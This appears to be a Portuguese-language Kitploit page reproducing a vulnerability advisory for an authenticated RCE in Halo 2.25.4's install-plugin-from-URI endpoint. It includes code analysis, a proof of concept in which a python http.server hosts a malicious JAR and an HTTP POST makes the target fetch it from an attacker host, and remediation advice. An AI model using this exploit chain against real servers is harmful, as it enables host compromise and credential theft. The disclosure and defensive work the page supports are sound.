Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
halo-2.25.4-CVE-2026-67919 — Demonstra uma vulnerabilidade de execução remota de código autenticada no Halo 2.25.4 por meio da instalação de URI de plugin não validada, incluindo análise técnica e exploit de prova de conceito. | Kitploit
Ferramentas/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Demonstra uma vulnerabilidade de execução remota de código autenticada no Halo 2.25.4 por meio da instalação de URI de plugin não validada, incluindo análise técnica e exploit de prova de conceito.

Ver Repositório
há 17 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Execução Remota de Código (RCE) Autenticada via Instalação de Plugin com URI Não Validada no Halo 2.25.4

1. Resumo da Vulnerabilidade

Uma vulnerabilidade de segurança crítica foi identificada na versão 2.25.4 do Halo. A aplicação fornece um endpoint administrativo para instalar ou atualizar plugins a partir de uma URI remota. No entanto, o sistema não valida o domínio de origem da URI e não possui proteções contra Server-Side Request Forgery (SSRF) neste componente específico. Um atacante autenticado com privilégios de gerenciamento de plugins pode fornecer um link para um arquivo JAR de plugin criado de forma maliciosa. O servidor fará o download, armazenará temporariamente e carregará dinamicamente o arquivo JAR no contexto da JVM usando o framework PF4J e o DefaultPluginApplicationContextFactory do Spring. Isso permite a execução de classes de extensão não confiáveis, resultando em Execução Remota de Código (RCE) arbitrária no sistema operacional do host subjacente.

2. Detalhes da Vulnerabilidade

  • Tipo de Vulnerabilidade: Injeção de Código / Execução Remota de Código (RCE)
  • ID CWE: CWE-94: Controle Incorreto da Geração de Código ('Injeção de Código') / CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso
  • Gravidade: 🔴 Crítica
  • Pontuação CVSS v3.1 Estimada: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • Versão Afetada: Halo 2.25.4 (e potencialmente versões anteriores que suportam instalação de plugins via URI)
  • ID CVE: CVE-2026-67919
  • 3. Componentes Afetados

    Separe com vírgulas ao enviar para o formulário CVE:

    Plaintext

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. Vetor de Ataque

    Um administrador autenticado pode enviar uma solicitação HTTP POST criada contendo uma URL maliciosa de plugin JAR remoto para o endpoint /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.

    5. Análise Técnica e Cadeia de Ataque

    A execução remota de código ocorre através da seguinte sequência de operações:

    1. Ingestão do Endpoint: O método PluginEndpoint.installFromUri() processa o corpo da solicitação recebida (InstallFromUriRequest) e extrai a string uri fornecida pelo usuário. Nenhum filtro de lista de permissões de domínio é aplicado.
    2. Recuperação de Arquivo Não Protegida: A URI extraída é passada para DefaultReactiveUrlDataBufferFetcher.fetch(uri). Diferente de outros componentes de rede internos do Halo, este fetcher não invoca HttpSecurityUtils.secureHttpClient(), ignorando as restrições de IP de rede privada interna/loopback (proteção SSRF).
    3. Persistência Local de Arquivo: O conteúdo em streaming baixado da URI remota é gravado em um diretório temporário local no servidor host via writeToTempFile(content).
    4. Carregamento Dinâmico de Classes: A aplicação passa o caminho temporário para pluginService.install(path), que utiliza o JarPluginLoader do PF4J para descompactar e carregar o arquivo JAR.
    5. Registro e Execução de Beans do Spring: Quando o PF4J termina de carregar o contexto, o DefaultPluginApplicationContextFactory do Spring analisa automaticamente os metadados dentro do plugin.yaml do plugin e registra todas as classes de extensão declaradas no contexto da aplicação como Beans Ativos do Spring.
    6. Gatilho de Execução de Código: Qualquer código malicioso colocado dentro dos blocos de inicialização estática da classe de extensão (static {}) ou blocos de método anotados com @PostConstruct será executado imediatamente durante a criação da instância via Runtime.getRuntime().exec().

    Segmento de Código Fonte Vulnerável (PluginEndpoint.java linhas 422-428):

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Busca de rede não validada
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. Prova de Conceito (PoC)

    Passo 1: Hospedar o Artefato Malicioso

    O atacante compila um arquivo JAR de plugin PF4J/Halo padrão (poc-plugin.jar) contendo uma classe de extensão com um mecanismo de execução de payload dentro de um hook de ciclo de vida @PostConstruct ou bloco estático. O atacante o hospeda em um listener externo:

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    Passo 2: Acionando a Vulnerabilidade

    O usuário administrativo autenticado envia a seguinte solicitação HTTP para o servidor Halo alvo:

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <target-ip>:8090
    Authorization: Bearer <ADMIN_TOKEN_HERE>
    Content-Type: application/json
    
    {
      "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
    }
    

    Passo 3: Resultado Esperado

    O servidor processa a instalação, busca o artefato do servidor do atacante, registra a extensão e executa o comando do sistema compilado, comprometendo o host alvo.

    image
    image

    7. Impacto

    • Comprometimento do Sistema: Acesso total à infraestrutura de hospedagem ou contêiner Docker sob os privilégios do processo da aplicação.
    • Roubo de Dados: Exposição direta de bancos de dados de backend, credenciais sensíveis da aplicação, chaves de configuração (application.yaml) e arquivos armazenados.
    • Movimento Lateral: O servidor pode ser usado como pivô para atacar redes internas do site, já que o mecanismo de download pode acessar endpoints de loopback ou infraestrutura interna contornando as regras padrão de egresso.

    8. Recomendações de Remediação

    1. Impor Listas de Permissões de Domínio Absolutas: Aplicar regras estritas de validação no argumento uri recebido. Restringir esquemas de instalação remota a marketplaces oficiais do ecossistema verificados e confiáveis (por exemplo, https://awesome.halo.run).
    2. Integrar Fetchers Seguros: Refatorar o DefaultReactiveUrlDataBufferFetcher para utilizar o utilitário existente HttpSecurityUtils.secureHttpClient() para descartar solicitações que apontem para loopback (127.0.0.1), link-local (169.254.169.254) ou redes de classe privada (10.0.0.0/8, 192.168.0.0/16).
    3. Verificação Criptográfica de Plugins: Implementar um padrão de verificação de assinatura digital para módulos JAR externos. O contexto JarPluginLoader deve validar hashes de arquivo ou assinaturas criptográficas contra chaves públicas fornecidas pelo repositório oficial antes de passá-los ao DefaultPluginApplicationContextFactory para instanciação do contexto.
    Baixar ferramenta